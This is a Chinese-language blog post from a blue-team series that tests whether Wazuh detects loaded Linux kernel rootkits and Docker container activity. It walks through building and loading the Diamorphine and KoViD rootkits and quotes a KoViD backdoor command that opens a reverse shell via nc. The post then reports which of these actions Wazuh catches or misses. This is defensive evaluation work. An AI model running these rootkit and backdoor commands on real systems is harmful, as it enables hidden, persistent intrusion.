iT邦幫忙

2023 iThome 鐵人賽

DAY 7
0
Security

一個人的藍隊系列 第 7

Wazuh 檢測能力POC:Part 2

  • 分享至 

  • xImage
  •  

今天就是延續昨天內容繼續測試看看Wazuh檢測能力

Rootkits detection

接下來是Rootkits的檢測,自己覺得這一個環境是滿重要的項目,
因為rootkits通常不好被發現,但影響又很重,要盡可能有機會偵測到。

Rootkits can hide other processes, files, and network connections.
Wazuh會監控kernel and user space level的rootkits

Anomaly and malware detection原理
主要是靠rootcheck以及syscheck
https://documentation.wazuh.com/current/user-manual/capabilities/anomalies-detection/index.html

  • 檢查隱藏的Port
  • 檢查異常檔案跟權限
  • 使用系統呼叫檢查隱藏檔案
  • 掃描 /dev 目錄
  • 掃描網路介面
  • 使用 Rootkit checks

https://ithelp.ithome.com.tw/upload/images/20230922/20114110MjFhfpsSnT.png

Rootcheck 使用其 Rootkit 簽章資料庫執行多項檢查:rootkit_files.txt、rootkit_trojans.txt和win_malware_rcl.txt。可以透過新增簽名來更新,以使用最新資訊執行 Rootkit 檢查

POC:載入Diamorphine rootkit

依照官網提供的POC
https://documentation.wazuh.com/current/proof-of-concept-guide/poc-detect-hidden-process.html

在自己本地端虛擬機測試

git clone https://github.com/m0nad/Diamorphine
sudo apt update
sudo apt install make
cd Diamorphine
sudo make

發生錯誤QQ

wazuh@wazuh-vm:~/Diamorphine$ sudo make
make -C /lib/modules/6.2.0-26-generic/build M=/home/wazuh/Diamorphine modules
make[1]: Entering directory '/usr/src/linux-headers-6.2.0-26-generic'
warning: the compiler differs from the one used to build the kernel
  The kernel was built by: x86_64-linux-gnu-gcc-11 (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0
  You are using:           
  CC [M]  /home/wazuh/Diamorphine/diamorphine.o
/bin/sh: 1: gcc: not found
make[2]: *** [scripts/Makefile.build:260: /home/wazuh/Diamorphine/diamorphine.o] Error 127
make[1]: *** [Makefile:2026: /home/wazuh/Diamorphine] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-6.2.0-26-generic'
make: *** [Makefile:7: all] Error 2

安裝gcc

sudo apt update
sudo apt install gcc

接著就是重點,載入diamorphine

insmod diamorphine.ko

發現結果會有
Unsigned kernel module was loaded
但並沒有官網截圖的那個Possible kernel level rootkit

Sep 21 23:46:59 wazuh-vm kernel: [  899.978512] diamorphine: module verification failed: signature and/or required key missing - tainting kernel

https://ithelp.ithome.com.tw/upload/images/20230922/20114110Iu1It2QS9M.png

https://ithelp.ithome.com.tw/upload/images/20230922/20114110T58uXcd6XO.png

因為diamorphine會隱藏自身
所以我們用lsmod是看不到的
可以透過signal 63切換
輸入kill -63 509切換
那個509隨便改成其他數字也可以
再用一次lsmod就可以看到

lsmod | grep diamorphine
kill -63 509
lsmod | grep diamorphine

移除

sudo rmmod diamorphine

https://ithelp.ithome.com.tw/upload/images/20230922/20114110uhWO1ZuMln.png

關於rootik隱藏這一段就不多說了
對rootik想研究更多,也可以參考我之前的文章
Linux Rootkit 學習資源筆記

POC:載入Kvoid rootkit
也是跟鬼神一般強的rootkit (僅符合特定幾個kernel版本)
https://github.com/carloslack/KoviD

我先前自己有做一個Kvoid測試
不是在這個系列的練習機器上就是了
make完成之後會有一個kovid.ko
載入

sudo insmod ./kovid.ko

移除

sudo rmmod kovid

攻擊者可以執行內建的腳本透過knocking取得一個reverse shell

./bdclient.sh nc 192.168.0.1 9999

載入kernel module時是會有發生possible kernel level rootkit事件
看起來是透過hidden processs發現
不過hidden prcess其實誤判很多
然後kovid,如果是已經埋入rootkit後門
當使用腳本連線後門的時候,是沒有觸發任何事件!QQ

Container security

要啟動針對於容器的檢查,我們要修改一下預設的設定
在Server上可以進行中央管理部署的agnet.conf上新增以下設定
內容會同步到agent上面

<agent_config>

  <!-- Shared agent configuration here -->

  <wodle name="docker-listener">
    <disabled>no</disabled>
  </wodle>

</agent_config>
docker exec single-node_wazuh.manager_1 service wazuh-manager restart

官方宣稱可以監控的內容
實際上可以都要POC測試看看
https://github.com/wazuh/wazuh/blob/master/ruleset/rules/0560-docker_integration_rules.xml
0560-docker_integration_rules.xml 裡面有記錄所有關於Dokcer的規則

  • Infrastructure level
    • A Docker image is downloaded or updated
    • A container is running in privileged mode
    • Kubernetes configuration is changed
    • Hardening checks fail for the Docker host
    • A new container or Pod is created
    • A user runs a command or a shell inside a container
    • A new application is installed on the Docker host
    • Vulnerabilities are detected on the Docker host
  • Container level
    • New process created in a container
    • File integrity monitoring alerts
    • New application installed in a container
    • Vulnerability detected in a container
    • Log analysis alert (for example, Nginx event)
    • Hardening check failed in a container

啟動一個hello-world 應該可以同時檢測到下面兩個POC

docker run --rm hello-world

POC: 拉取IMAGE (A Docker image is downloaded or updated)
成功檢測到pull image的事件

POC: 啟動Container (A new container or Pod is created)
可以注意到container的創建/啟動/消滅,都會有事件,並且會顯示容器的名稱

https://ithelp.ithome.com.tw/upload/images/20230922/20114110zlXZoGMT8B.png

其實上面算是滿完成一個容器週期都會被偵測到
反而是可能會有太多雜訊,之後可以寫一些rule去調整或抑制

POC:嘗試run一個nginx然後進入shell當中
確實有檢測到在container當中執行的shell

docker run -d nginx_4444 -p 4444:80 nginx
docker exec -it nginx_4444 bash

可以得到
Docker: Started shell session in container nginx_4444

https://ithelp.ithome.com.tw/upload/images/20230922/201141105GASwtEUIQ.png

POC:嘗試直接run一個debian同時使用bash

docker run -it debian bash

這種方式下
並沒有像是容器啟動後,利用exec調用shell的時候一樣得到shell session的事件
看起來是一個resized terminal size的事件,這個可能要稍微注意一下
Docker: Container debian resized terminal size to 181x46

POC:使用privileged建立容器(A container is running in privileged mode)

docker run -d --privileged --name nginx_pri -p 5555:80 nginx

雖然官方宣稱可以檢測privileged mode
但實際上啟動時沒有觸發任何相關事件,可以看出是privileged的跡象
跟我預想的有一點不一樣
不過這種privileged或是其他模式
可以透過其他IaC跟Compliance as code方式來做檢查也不難就是了
還是給他一個及格

主要四個功能大概POC覺得評估是合格的
這個解決方案就可以繼續導入下去


上一篇
Wazuh 檢測能力POC:Part 1
下一篇
Wazuh 檢測能力POC:Part 3
系列文
一個人的藍隊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言